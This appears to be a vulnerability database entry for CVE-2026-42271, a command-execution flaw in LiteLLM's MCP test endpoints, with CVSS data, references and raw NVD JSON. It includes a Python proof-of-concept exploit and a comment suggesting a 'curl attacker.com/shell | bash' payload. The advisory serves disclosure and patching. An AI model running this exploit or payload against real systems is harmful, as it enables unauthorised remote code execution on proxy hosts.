CVE-2026-42271

Description

LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it — POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list — accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process. The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user — including holders of low-privilege internal-user keys — could therefore run arbitrary commands on the host. This issue has been patched in version 1.83.7.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:* - VULNERABLE

LiteLLM 1.74.2 至 1.83.7 之前版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (LiteLLM instance)
target_url = "http://localhost:4000/mcp-rest/test/connection"

# Headers with a valid API key (Low privilege key is sufficient)
headers = {
    "Authorization": "Bearer sk-valid-api-key-here",
    "Content-Type": "application/json"
}

# Malicious payload configuration
# The 'command' field is injected to execute arbitrary commands on the host
payload = {
    "transport_mode": "stdio",
    "command": "id", # Replace with malicious payload e.g., "curl http://attacker.com/shell | bash"
    "args": [],
    "env": {}
}

try:
    # Send the POST request to trigger the RCE
    response = requests.post(target_url, json=payload, headers=headers, timeout=10)

    # Check if the request was processed
    if response.status_code == 200:
        print("[+] Request sent successfully. Check if command executed.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
    
    print(f"[+] Response Body: {response.text}")

except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42271
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42271
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42271/
[4] VulDB https://vuldb.com/cve/CVE-2026-42271
[5] https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable
[6] https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42271", "sourceIdentifier": "[email protected]", "published": "2026-05-08T04:16:21.820", "lastModified": "2026-05-08T20:04:50.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it — POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list — accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process. The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user — including holders of low-privilege internal-user keys — could therefore run arbitrary commands on the host. This issue has been patched in version 1.83.7."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.74.2", "versionEndExcluding": "1.83.7", "matchCriteriaId": "D249DFDB-5D0D-4053-A997-0900F77F9A13"}]}]}], "references": [{"url": "https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}